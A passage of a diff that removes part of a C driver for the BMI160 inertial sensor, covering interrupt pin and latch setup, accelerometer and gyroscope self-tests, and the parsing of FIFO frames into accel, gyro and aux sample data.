BMI160_INT_OUT_CTRL_ADDR register*/ - rslt = bmi160_get_regs(BMI160_INT_OUT_CTRL_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* updating the interrupt pin structure to local structure */ - const struct bmi160_int_pin_settg* intr_pin_sett = &(int_config->int_pin_settg); - - /* Configuring channel 1 */ - if(int_config->int_channel == BMI160_INT_CHANNEL_1) { - /* Output enable */ - temp = data & ~BMI160_INT1_OUTPUT_EN_MASK; - data = temp | ((intr_pin_sett->output_en << 3) & BMI160_INT1_OUTPUT_EN_MASK); - - /* Output mode */ - temp = data & ~BMI160_INT1_OUTPUT_MODE_MASK; - data = temp | ((intr_pin_sett->output_mode << 2) & BMI160_INT1_OUTPUT_MODE_MASK); - - /* Output type */ - temp = data & ~BMI160_INT1_OUTPUT_TYPE_MASK; - data = temp | ((intr_pin_sett->output_type << 1) & BMI160_INT1_OUTPUT_TYPE_MASK); - - /* edge control */ - temp = data & ~BMI160_INT1_EDGE_CTRL_MASK; - data = temp | ((intr_pin_sett->edge_ctrl) & BMI160_INT1_EDGE_CTRL_MASK); - } else { - /* Configuring channel 2 */ - /* Output enable */ - temp = data & ~BMI160_INT2_OUTPUT_EN_MASK; - data = temp | ((intr_pin_sett->output_en << 7) & BMI160_INT2_OUTPUT_EN_MASK); - - /* Output mode */ - temp = data & ~BMI160_INT2_OUTPUT_MODE_MASK; - data = temp | ((intr_pin_sett->output_mode << 6) & BMI160_INT2_OUTPUT_MODE_MASK); - - /* Output type */ - temp = data & ~BMI160_INT2_OUTPUT_TYPE_MASK; - data = temp | ((intr_pin_sett->output_type << 5) & BMI160_INT2_OUTPUT_TYPE_MASK); - - /* edge control */ - temp = data & ~BMI160_INT2_EDGE_CTRL_MASK; - data = temp | ((intr_pin_sett->edge_ctrl << 4) & BMI160_INT2_EDGE_CTRL_MASK); - } - - rslt = bmi160_set_regs(BMI160_INT_OUT_CTRL_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API configure the mode(input enable, latch or non-latch) of interrupt pin. - */ -static int8_t - config_int_latch(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t temp = 0; - uint8_t data = 0; - - /* Configuration of latch on pins INT1 and INT2 are done in - * BMI160_INT_LATCH_ADDR register*/ - rslt = bmi160_get_regs(BMI160_INT_LATCH_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* updating the interrupt pin structure to local structure */ - const struct bmi160_int_pin_settg* intr_pin_sett = &(int_config->int_pin_settg); - if(int_config->int_channel == BMI160_INT_CHANNEL_1) { - /* Configuring channel 1 */ - /* Input enable */ - temp = data & ~BMI160_INT1_INPUT_EN_MASK; - data = temp | ((intr_pin_sett->input_en << 4) & BMI160_INT1_INPUT_EN_MASK); - } else { - /* Configuring channel 2 */ - /* Input enable */ - temp = data & ~BMI160_INT2_INPUT_EN_MASK; - data = temp | ((intr_pin_sett->input_en << 5) & BMI160_INT2_INPUT_EN_MASK); - } - - /* In case of latch interrupt,update the latch duration */ - - /* Latching holds the interrupt for the amount of latch - * duration time */ - temp = data & ~BMI160_INT_LATCH_MASK; - data = temp | (intr_pin_sett->latch_dur & BMI160_INT_LATCH_MASK); - - /* OUT_CTRL_INT and LATCH_INT address lie consecutively, - * hence writing data to respective registers at one go */ - rslt = bmi160_set_regs(BMI160_INT_LATCH_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API performs the self test for accelerometer of BMI160 - */ -static int8_t perform_accel_self_test(struct bmi160_dev* dev) { - int8_t rslt; - struct bmi160_sensor_data accel_pos, accel_neg; - - /* Enable Gyro self test bit */ - rslt = enable_accel_self_test(dev); - if(rslt == BMI160_OK) { - /* Perform accel self test with positive excitation */ - rslt = accel_self_test_positive_excitation(&accel_pos, dev); - if(rslt == BMI160_OK) { - /* Perform accel self test with negative excitation */ - rslt = accel_self_test_negative_excitation(&accel_neg, dev); - if(rslt == BMI160_OK) { - /* Validate the self test result */ - rslt = validate_accel_self_test(&accel_pos, &accel_neg); - } - } - } - - return rslt; -} - -/*! - * @brief This API enables to perform the accel self test by setting proper - * configurations to facilitate accel self test - */ -static int8_t enable_accel_self_test(struct bmi160_dev* dev) { - int8_t rslt; - uint8_t reg_data; - - /* Set the Accel power mode as normal mode */ - dev->accel_cfg.power = BMI160_ACCEL_NORMAL_MODE; - - /* Set the sensor range configuration as 8G */ - dev->accel_cfg.range = BMI160_ACCEL_RANGE_8G; - rslt = bmi160_set_sens_conf(dev); - if(rslt == BMI160_OK) { - /* Accel configurations are set to facilitate self test - * acc_odr - 1600Hz ; acc_bwp = 2 ; acc_us = 0 */ - reg_data = BMI160_ACCEL_SELF_TEST_CONFIG; - rslt = bmi160_set_regs(BMI160_ACCEL_CONFIG_ADDR, ®_data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API performs accel self test with positive excitation - */ -static int8_t accel_self_test_positive_excitation( - struct bmi160_sensor_data* accel_pos, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t reg_data; - - /* Enable accel self test with positive self-test excitation - * and with amplitude of deflection set as high */ - reg_data = BMI160_ACCEL_SELF_TEST_POSITIVE_EN; - rslt = bmi160_set_regs(BMI160_SELF_TEST_ADDR, ®_data, 1, dev); - if(rslt == BMI160_OK) { - /* Read the data after a delay of 50ms - refer datasheet 2.8.1 accel self test*/ - dev->delay_ms(BMI160_ACCEL_SELF_TEST_DELAY); - rslt = bmi160_get_sensor_data(BMI160_ACCEL_ONLY, accel_pos, NULL, dev); - } - - return rslt; -} - -/*! - * @brief This API performs accel self test with negative excitation - */ -static int8_t accel_self_test_negative_excitation( - struct bmi160_sensor_data* accel_neg, - const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t reg_data; - - /* Enable accel self test with negative self-test excitation - * and with amplitude of deflection set as high */ - reg_data = BMI160_ACCEL_SELF_TEST_NEGATIVE_EN; - rslt = bmi160_set_regs(BMI160_SELF_TEST_ADDR, ®_data, 1, dev); - if(rslt == BMI160_OK) { - /* Read the data after a delay of 50ms */ - dev->delay_ms(BMI160_ACCEL_SELF_TEST_DELAY); - rslt = bmi160_get_sensor_data(BMI160_ACCEL_ONLY, accel_neg, NULL, dev); - } - - return rslt; -} - -/*! - * @brief This API validates the accel self test results - */ -static int8_t validate_accel_self_test( - const struct bmi160_sensor_data* accel_pos, - const struct bmi160_sensor_data* accel_neg) { - int8_t rslt; - - /* Validate the results of self test */ - if(((accel_neg->x - accel_pos->x) > BMI160_ACCEL_SELF_TEST_LIMIT) && - ((accel_neg->y - accel_pos->y) > BMI160_ACCEL_SELF_TEST_LIMIT) && - ((accel_neg->z - accel_pos->z) > BMI160_ACCEL_SELF_TEST_LIMIT)) { - /* Self test pass condition */ - rslt = BMI160_OK; - } else { - rslt = BMI160_W_ACCEl_SELF_TEST_FAIL; - } - - return rslt; -} - -/*! - * @brief This API performs the self test for gyroscope of BMI160 - */ -static int8_t perform_gyro_self_test(const struct bmi160_dev* dev) { - int8_t rslt; - - /* Enable Gyro self test bit */ - rslt = enable_gyro_self_test(dev); - if(rslt == BMI160_OK) { - /* Validate the gyro self test a delay of 50ms */ - dev->delay_ms(50); - - /* Validate the gyro self test results */ - rslt = validate_gyro_self_test(dev); - } - - return rslt; -} - -/*! - * @brief This API enables the self test bit to trigger self test for Gyro - */ -static int8_t enable_gyro_self_test(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t reg_data; - - /* Enable the Gyro self test bit to trigger the self test */ - rslt = bmi160_get_regs(BMI160_SELF_TEST_ADDR, ®_data, 1, dev); - if(rslt == BMI160_OK) { - reg_data = BMI160_SET_BITS(reg_data, BMI160_GYRO_SELF_TEST, 1); - rslt = bmi160_set_regs(BMI160_SELF_TEST_ADDR, ®_data, 1, dev); - if(rslt == BMI160_OK) { - /* Delay to enable gyro self test */ - dev->delay_ms(15); - } - } - - return rslt; -} - -/*! - * @brief This API validates the self test results of Gyro - */ -static int8_t validate_gyro_self_test(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t reg_data; - - /* Validate the Gyro self test result */ - rslt = bmi160_get_regs(BMI160_STATUS_ADDR, ®_data, 1, dev); - if(rslt == BMI160_OK) { - reg_data = BMI160_GET_BITS(reg_data, BMI160_GYRO_SELF_TEST_STATUS); - if(reg_data == BMI160_ENABLE) { - /* Gyro self test success case */ - rslt = BMI160_OK; - } else { - rslt = BMI160_W_GYRO_SELF_TEST_FAIL; - } - } - - return rslt; -} - -/*! - * @brief This API sets FIFO full interrupt of the sensor.This interrupt - * occurs when the FIFO is full and the next full data sample would cause - * a FIFO overflow, which may delete the old samples. - */ -static int8_t - set_fifo_full_int(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - - /* Null-pointer check */ - if((dev == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /*enable the fifo full interrupt */ - rslt = enable_fifo_full_int(int_config, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = map_hardware_interrupt(int_config, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This enable the FIFO full interrupt engine. - */ -static int8_t - enable_fifo_full_int(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - - rslt = bmi160_get_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - data = BMI160_SET_BITS(data, BMI160_FIFO_FULL_INT, int_config->fifo_full_int_en); - - /* Writing data to INT ENABLE 1 Address */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API sets FIFO watermark interrupt of the sensor.The FIFO - * watermark interrupt is fired, when the FIFO fill level is above a fifo - * watermark. - */ -static int8_t set_fifo_watermark_int( - const struct bmi160_int_settg* int_config, - const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - - if((dev == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Enable fifo-watermark interrupt in Int Enable 1 register */ - rslt = enable_fifo_wtm_int(int_config, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = map_hardware_interrupt(int_config, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This enable the FIFO watermark interrupt engine. - */ -static int8_t - enable_fifo_wtm_int(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - - rslt = bmi160_get_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - data = BMI160_SET_BITS(data, BMI160_FIFO_WTM_INT, int_config->fifo_wtm_int_en); - - /* Writing data to INT ENABLE 1 Address */ - rslt = bmi160_set_regs(BMI160_INT_ENABLE_1_ADDR, &data, 1, dev); - } - - return rslt; -} - -/*! - * @brief This API is used to reset the FIFO related configurations - * in the fifo_frame structure. - */ -static void reset_fifo_data_structure(const struct bmi160_dev* dev) { - /*Prepare for next FIFO read by resetting FIFO's - * internal data structures*/ - dev->fifo->accel_byte_start_idx = 0; - dev->fifo->gyro_byte_start_idx = 0; - dev->fifo->aux_byte_start_idx = 0; - dev->fifo->sensor_time = 0; - dev->fifo->skipped_frame_count = 0; -} - -/*! - * @brief This API is used to read fifo_byte_counter value (i.e) - * current fill-level in Fifo buffer. - */ -static int8_t get_fifo_byte_counter(uint16_t* bytes_to_read, struct bmi160_dev const* dev) { - int8_t rslt = 0; - uint8_t data[2]; - uint8_t addr = BMI160_FIFO_LENGTH_ADDR; - - rslt |= bmi160_get_regs(addr, data, 2, dev); - data[1] = data[1] & BMI160_FIFO_BYTE_COUNTER_MASK; - - /* Available data in FIFO is stored in bytes_to_read*/ - *bytes_to_read = (((uint16_t)data[1] << 8) | ((uint16_t)data[0])); - - return rslt; -} - -/*! - * @brief This API is used to compute the number of bytes of accel FIFO data - * which is to be parsed in header-less mode - */ -static void get_accel_len_to_parse( - uint16_t* data_index, - uint16_t* data_read_length, - const uint8_t* acc_frame_count, - const struct bmi160_dev* dev) { - /* Data start index */ - *data_index = dev->fifo->accel_byte_start_idx; - if(dev->fifo->fifo_data_enable == BMI160_FIFO_A_ENABLE) { - *data_read_length = (*acc_frame_count) * BMI160_FIFO_A_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_G_A_ENABLE) { - *data_read_length = (*acc_frame_count) * BMI160_FIFO_GA_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_A_ENABLE) { - *data_read_length = (*acc_frame_count) * BMI160_FIFO_MA_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_G_A_ENABLE) { - *data_read_length = (*acc_frame_count) * BMI160_FIFO_MGA_LENGTH; - } else { - /* When accel is not enabled ,there will be no accel data. - * so we update the data index as complete */ - *data_index = dev->fifo->length; - } - - if(*data_read_length > dev->fifo->length) { - /* Handling the case where more data is requested - * than that is available*/ - *data_read_length = dev->fifo->length; - } -} - -/*! - * @brief This API is used to parse the accelerometer data from the - * FIFO data in both header mode and header-less mode. - * It updates the idx value which is used to store the index of - * the current data byte which is parsed. - */ -static void unpack_accel_frame( - struct bmi160_sensor_data* acc, - uint16_t* idx, - uint8_t* acc_idx, - uint8_t frame_info, - const struct bmi160_dev* dev) { - switch(frame_info) { - case BMI160_FIFO_HEAD_A: - case BMI160_FIFO_A_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_A_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /*Unpack the data array into the structure instance "acc" */ - unpack_accel_data(&acc[*acc_idx], *idx, dev); - - /*Move the data index*/ - *idx = *idx + BMI160_FIFO_A_LENGTH; - (*acc_idx)++; - break; - case BMI160_FIFO_HEAD_G_A: - case BMI160_FIFO_G_A_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_GA_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /*Unpack the data array into structure instance "acc"*/ - unpack_accel_data(&acc[*acc_idx], *idx + BMI160_FIFO_G_LENGTH, dev); - - /*Move the data index*/ - *idx = *idx + BMI160_FIFO_GA_LENGTH; - (*acc_idx)++; - break; - case BMI160_FIFO_HEAD_M_A: - case BMI160_FIFO_M_A_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_MA_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /*Unpack the data array into structure instance "acc"*/ - unpack_accel_data(&acc[*acc_idx], *idx + BMI160_FIFO_M_LENGTH, dev); - - /*Move the data index*/ - *idx = *idx + BMI160_FIFO_MA_LENGTH; - (*acc_idx)++; - break; - case BMI160_FIFO_HEAD_M_G_A: - case BMI160_FIFO_M_G_A_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_MGA_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /*Unpack the data array into structure instance "acc"*/ - unpack_accel_data(&acc[*acc_idx], *idx + BMI160_FIFO_MG_LENGTH, dev); - - /*Move the data index*/ - *idx = *idx + BMI160_FIFO_MGA_LENGTH; - (*acc_idx)++; - break; - case BMI160_FIFO_HEAD_M: - case BMI160_FIFO_M_ENABLE: - (*idx) = (*idx) + BMI160_FIFO_M_LENGTH; - break; - case BMI160_FIFO_HEAD_G: - case BMI160_FIFO_G_ENABLE: - (*idx) = (*idx) + BMI160_FIFO_G_LENGTH; - break; - case BMI160_FIFO_HEAD_M_G: - case BMI160_FIFO_M_G_ENABLE: - (*idx) = (*idx) + BMI160_FIFO_MG_LENGTH; - break; - default: - break; - } -} - -/*! - * @brief This API is used to parse the accelerometer data from the - * FIFO data and store it in the instance of the structure bmi160_sensor_data. - */ -static void unpack_accel_data( - struct bmi160_sensor_data* accel_data, - uint16_t data_start_index, - const struct bmi160_dev* dev) { - uint16_t data_lsb; - uint16_t data_msb; - - /* Accel raw x data */ - data_lsb = dev->fifo->data[data_start_index++]; - data_msb = dev->fifo->data[data_start_index++]; - accel_data->x = (int16_t)((data_msb << 8) | data_lsb); - - /* Accel raw y data */ - data_lsb = dev->fifo->data[data_start_index++]; - data_msb = dev->fifo->data[data_start_index++]; - accel_data->y = (int16_t)((data_msb << 8) | data_lsb); - - /* Accel raw z data */ - data_lsb = dev->fifo->data[data_start_index++]; - data_msb = dev->fifo->data[data_start_index++]; - accel_data->z = (int16_t)((data_msb << 8) | data_lsb); -} - -/*! - * @brief This API is used to parse the accelerometer data from the - * FIFO data in header mode. - */ -static void extract_accel_header_mode( - struct bmi160_sensor_data* accel_data, - uint8_t* accel_length, - const struct bmi160_dev* dev) { - uint8_t frame_header = 0; - uint16_t data_index; - uint8_t accel_index = 0; - - for(data_index = dev->fifo->accel_byte_start_idx; data_index < dev->fifo->length;) { - /* extracting Frame header */ - frame_header = (dev->fifo->data[data_index] & BMI160_FIFO_TAG_INTR_MASK); - - /*Index is moved to next byte where the data is starting*/ - data_index++; - switch(frame_header) { - /* Accel frame */ - case BMI160_FIFO_HEAD_A: - case BMI160_FIFO_HEAD_M_A: - case BMI160_FIFO_HEAD_G_A: - case BMI160_FIFO_HEAD_M_G_A: - unpack_accel_frame(accel_data, &data_index, &accel_index, frame_header, dev); - break; - case BMI160_FIFO_HEAD_M: - move_next_frame(&data_index, BMI160_FIFO_M_LENGTH, dev); - break; - case BMI160_FIFO_HEAD_G: - move_next_frame(&data_index, BMI160_FIFO_G_LENGTH, dev); - break; - case BMI160_FIFO_HEAD_M_G: - move_next_frame(&data_index, BMI160_FIFO_MG_LENGTH, dev); - break; - - /* Sensor time frame */ - case BMI160_FIFO_HEAD_SENSOR_TIME: - unpack_sensortime_frame(&data_index, dev); - break; - - /* Skip frame */ - case BMI160_FIFO_HEAD_SKIP_FRAME: - unpack_skipped_frame(&data_index, dev); - break; - - /* Input config frame */ - case BMI160_FIFO_HEAD_INPUT_CONFIG: - move_next_frame(&data_index, 1, dev); - break; - case BMI160_FIFO_HEAD_OVER_READ: - - /* Update the data index as complete in case of Over read */ - data_index = dev->fifo->length; - break; - default: - break; - } - if(*accel_length == accel_index) { - /* Number of frames to read completed */ - break; - } - } - - /*Update number of accel data read*/ - *accel_length = accel_index; - - /*Update the accel frame index*/ - dev->fifo->accel_byte_start_idx = data_index; -} - -/*! - * @brief This API computes the number of bytes of gyro FIFO data - * which is to be parsed in header-less mode - */ -static void get_gyro_len_to_parse( - uint16_t* data_index, - uint16_t* data_read_length, - const uint8_t* gyro_frame_count, - const struct bmi160_dev* dev) { - /* Data start index */ - *data_index = dev->fifo->gyro_byte_start_idx; - if(dev->fifo->fifo_data_enable == BMI160_FIFO_G_ENABLE) { - *data_read_length = (*gyro_frame_count) * BMI160_FIFO_G_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_G_A_ENABLE) { - *data_read_length = (*gyro_frame_count) * BMI160_FIFO_GA_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_G_ENABLE) { - *data_read_length = (*gyro_frame_count) * BMI160_FIFO_MG_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_G_A_ENABLE) { - *data_read_length = (*gyro_frame_count) * BMI160_FIFO_MGA_LENGTH; - } else { - /* When gyro is not enabled ,there will be no gyro data. - * so we update the data index as complete */ - *data_index = dev->fifo->length; - } - - if(*data_read_length > dev->fifo->length) { - /* Handling the case where more data is requested - * than that is available*/ - *data_read_length = dev->fifo->length; - } -} - -/*! - * @brief This API is used to parse the gyroscope's data from the - * FIFO data in both header mode and header-less mode. - * It updates the idx value which is used to store the index of - * the current data byte which is parsed. - */ -static void unpack_gyro_frame( - struct bmi160_sensor_data* gyro, - uint16_t* idx, - uint8_t* gyro_idx, - uint8_t frame_info, - const struct bmi160_dev* dev) { - switch(frame_info) { - case BMI160_FIFO_HEAD_G: - case BMI160_FIFO_G_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_G_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /*Unpack the data array into structure instance "gyro"*/ - unpack_gyro_data(&gyro[*gyro_idx], *idx, dev); - - /*Move the data index*/ - (*idx) = (*idx) + BMI160_FIFO_G_LENGTH; - (*gyro_idx)++; - break; - case BMI160_FIFO_HEAD_G_A: - case BMI160_FIFO_G_A_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_GA_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /* Unpack the data array into structure instance "gyro" */ - unpack_gyro_data(&gyro[*gyro_idx], *idx, dev); - - /* Move the data index */ - *idx = *idx + BMI160_FIFO_GA_LENGTH; - (*gyro_idx)++; - break; - case BMI160_FIFO_HEAD_M_G_A: - case BMI160_FIFO_M_G_A_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_MGA_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /*Unpack the data array into structure instance "gyro"*/ - unpack_gyro_data(&gyro[*gyro_idx], *idx + BMI160_FIFO_M_LENGTH, dev); - - /*Move the data index*/ - *idx = *idx + BMI160_FIFO_MGA_LENGTH; - (*gyro_idx)++; - break; - case BMI160_FIFO_HEAD_M_A: - case BMI160_FIFO_M_A_ENABLE: - - /* Move the data index */ - *idx = *idx + BMI160_FIFO_MA_LENGTH; - break; - case BMI160_FIFO_HEAD_M: - case BMI160_FIFO_M_ENABLE: - (*idx) = (*idx) + BMI160_FIFO_M_LENGTH; - break; - case BMI160_FIFO_HEAD_M_G: - case BMI160_FIFO_M_G_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_MG_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *idx = dev->fifo->length; - break; - } - - /*Unpack the data array into structure instance "gyro"*/ - unpack_gyro_data(&gyro[*gyro_idx], *idx + BMI160_FIFO_M_LENGTH, dev); - - /*Move the data index*/ - (*idx) = (*idx) + BMI160_FIFO_MG_LENGTH; - (*gyro_idx)++; - break; - case BMI160_FIFO_HEAD_A: - case BMI160_FIFO_A_ENABLE: - - /*Move the data index*/ - *idx = *idx + BMI160_FIFO_A_LENGTH; - break; - default: - break; - } -} - -/*! - * @brief This API is used to parse the gyro data from the - * FIFO data and store it in the instance of the structure bmi160_sensor_data. - */ -static void unpack_gyro_data( - struct bmi160_sensor_data* gyro_data, - uint16_t data_start_index, - const struct bmi160_dev* dev) { - uint16_t data_lsb; - uint16_t data_msb; - - /* Gyro raw x data */ - data_lsb = dev->fifo->data[data_start_index++]; - data_msb = dev->fifo->data[data_start_index++]; - gyro_data->x = (int16_t)((data_msb << 8) | data_lsb); - - /* Gyro raw y data */ - data_lsb = dev->fifo->data[data_start_index++]; - data_msb = dev->fifo->data[data_start_index++]; - gyro_data->y = (int16_t)((data_msb << 8) | data_lsb); - - /* Gyro raw z data */ - data_lsb = dev->fifo->data[data_start_index++]; - data_msb = dev->fifo->data[data_start_index++]; - gyro_data->z = (int16_t)((data_msb << 8) | data_lsb); -} - -/*! - * @brief This API is used to parse the gyro data from the - * FIFO data in header mode. - */ -static void extract_gyro_header_mode( - struct bmi160_sensor_data* gyro_data, - uint8_t* gyro_length, - const struct bmi160_dev* dev) { - uint8_t frame_header = 0; - uint16_t data_index; - uint8_t gyro_index = 0; - - for(data_index = dev->fifo->gyro_byte_start_idx; data_index < dev->fifo->length;) { - /* extracting Frame header */ - frame_header = (dev->fifo->data[data_index] & BMI160_FIFO_TAG_INTR_MASK); - - /*Index is moved to next byte where the data is starting*/ - data_index++; - switch(frame_header) { - /* GYRO frame */ - case BMI160_FIFO_HEAD_G: - case BMI160_FIFO_HEAD_G_A: - case BMI160_FIFO_HEAD_M_G: - case BMI160_FIFO_HEAD_M_G_A: - unpack_gyro_frame(gyro_data, &data_index, &gyro_index, frame_header, dev); - break; - case BMI160_FIFO_HEAD_A: - move_next_frame(&data_index, BMI160_FIFO_A_LENGTH, dev); - break; - case BMI160_FIFO_HEAD_M: - move_next_frame(&data_index, BMI160_FIFO_M_LENGTH, dev); - break; - case BMI160_FIFO_HEAD_M_A: - move_next_frame(&data_index, BMI160_FIFO_M_LENGTH, dev); - break; - - /* Sensor time frame */ - case BMI160_FIFO_HEAD_SENSOR_TIME: - unpack_sensortime_frame(&data_index, dev); - break; - - /* Skip frame */ - case BMI160_FIFO_HEAD_SKIP_FRAME: - unpack_skipped_frame(&data_index, dev); - break; - - /* Input config frame */ - case BMI160_FIFO_HEAD_INPUT_CONFIG: - move_next_frame(&data_index, 1, dev); - break; - case BMI160_FIFO_HEAD_OVER_READ: - - /* Update the data index as complete in case of over read */ - data_index = dev->fifo->length; - break; - default: - break; - } - if(*gyro_length == gyro_index) { - /*Number of frames to read completed*/ - break; - } - } - - /*Update number of gyro data read*/ - *gyro_length = gyro_index; - - /*Update the gyro frame index*/ - dev->fifo->gyro_byte_start_idx = data_index; -} - -/*! - * @brief This API computes the number of bytes of aux FIFO data - * which is to be parsed in header-less mode - */ -static void get_aux_len_to_parse( - uint16_t* data_index, - uint16_t* data_read_length, - const uint8_t* aux_frame_count, - const struct bmi160_dev* dev) { - /* Data start index */ - *data_index = dev->fifo->gyro_byte_start_idx; - if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_ENABLE) { - *data_read_length = (*aux_frame_count) * BMI160_FIFO_M_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_A_ENABLE) { - *data_read_length = (*aux_frame_count) * BMI160_FIFO_MA_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_G_ENABLE) { - *data_read_length = (*aux_frame_count) * BMI160_FIFO_MG_LENGTH; - } else if(dev->fifo->fifo_data_enable == BMI160_FIFO_M_G_A_ENABLE) { - *data_read_length = (*aux_frame_count) * BMI160_FIFO_MGA_LENGTH; - } else { - /* When aux is not enabled ,there will be no aux data. - * so we update the data index as complete */ - *data_index = dev->fifo->length; - } - - if(*data_read_length > dev->fifo->length) { - /* Handling the case where more data is requested - * than that is available */ - *data_read_length = dev->fifo->length; - } -} - -/*! - * @brief This API is used to parse the aux's data from the - * FIFO data in both header mode and header-less mode. - * It updates the idx value which is used to store the index of - * the current data byte which is parsed - */ -static void unpack_aux_frame( - struct bmi160_aux_data* aux_data, - uint16_t* idx, - uint8_t* aux_index, - uint8_t frame_info, - const struct bmi160_dev* dev) { - switch(frame_info) { - case BMI160_FIFO_HEAD_M: - case BMI160_FIFO_M_ENABLE: - - /* Partial read, then skip the data */ - if((*idx + BMI160_FIFO_M_LENGTH) > dev->fifo->length) { - /* Update the data index as complete */ - *idx = dev->fifo->length; - break; - } - - /* Unpack the data array into structure instance */ - unpack_aux_data(&aux_data[*aux_index], *idx, dev); - - /* Move the data index */ - *idx = *idx + BMI160_FIFO_M_LENGTH; - (*aux_index)++; - break; - case BMI160_FIFO_HEAD_M_A: - case BMI160_FIFO_M_A_ENABLE: - - /* Partial read, then skip the data */ - if((*idx + BMI160_FIFO_MA_LENGTH) > dev->fifo->length) { - /* Update the data index as complete */ - *idx = dev->fifo->length; - break; - } - - /* Unpack the data array into structure instance */ - unpack_aux_data(&aux_data[*aux_index], *idx, dev); - - /* Move the data index */ - *idx = *idx + BMI160_FIFO_MA_LENGTH; - (*aux_index)++; - break; - case BMI160_FIFO_HEAD_M_G: - case BMI160_FIFO_M_G_ENABLE: - - /* Partial read, then skip the data */ - if((*idx + BMI160_FIFO_MG_LENGTH) > dev->fifo->length) { - /* Update the data index as complete */ - *idx = dev->fifo->length; - break; - } - - /* Unpack the data array into structure instance */ - unpack_aux_data(&aux_data[*aux_index], *idx, dev); - - /* Move the data index */ - (*idx) = (*idx) + BMI160_FIFO_MG_LENGTH; - (*aux_index)++; - break; - case BMI160_FIFO_HEAD_M_G_A: - case BMI160_FIFO_M_G_A_ENABLE: - - /*Partial read, then skip the data*/ - if((*idx + BMI160_FIFO_MGA_LENGTH) > dev->fifo->length) { - /* Update the data index as complete */ - *idx = dev->fifo->length; - break; - } - - /* Unpack the data array into structure instance */ - unpack_aux_data(&aux_data[*aux_index], *idx, dev); - - /*Move the data index*/ - *idx = *idx + BMI160_FIFO_MGA_LENGTH; - (*aux_index)++; - break; - case BMI160_FIFO_HEAD_G: - case BMI160_FIFO_G_ENABLE: - - /* Move the data index */ - (*idx) = (*idx) + BMI160_FIFO_G_LENGTH; - break; - case BMI160_FIFO_HEAD_G_A: - case BMI160_FIFO_G_A_ENABLE: - - /* Move the data index */ - *idx = *idx + BMI160_FIFO_GA_LENGTH; - break; - case BMI160_FIFO_HEAD_A: - case BMI160_FIFO_A_ENABLE: - - /* Move the data index */ - *idx = *idx + BMI160_FIFO_A_LENGTH; - break; - default: - break; - } -} - -/*! - * @brief This API is used to parse the aux data from the - * FIFO data and store it in the instance of the structure bmi160_aux_data. - */ -static void unpack_aux_data( - struct bmi160_aux_data* aux_data, - uint16_t data_start_index, - const struct bmi160_dev* dev) { - /* Aux data bytes */ - aux_data->data[0] = dev->fifo->data[data_start_index++]; - aux_data->data[1] = dev->fifo->data[data_start_index++]; - aux_data->data[2] = dev->fifo->data[data_start_index++]; - aux_data->data[3] = dev->fifo->data[data_start_index++]; - aux_data->data[4] = dev->fifo->data[data_start_index++]; - aux_data->data[5] = 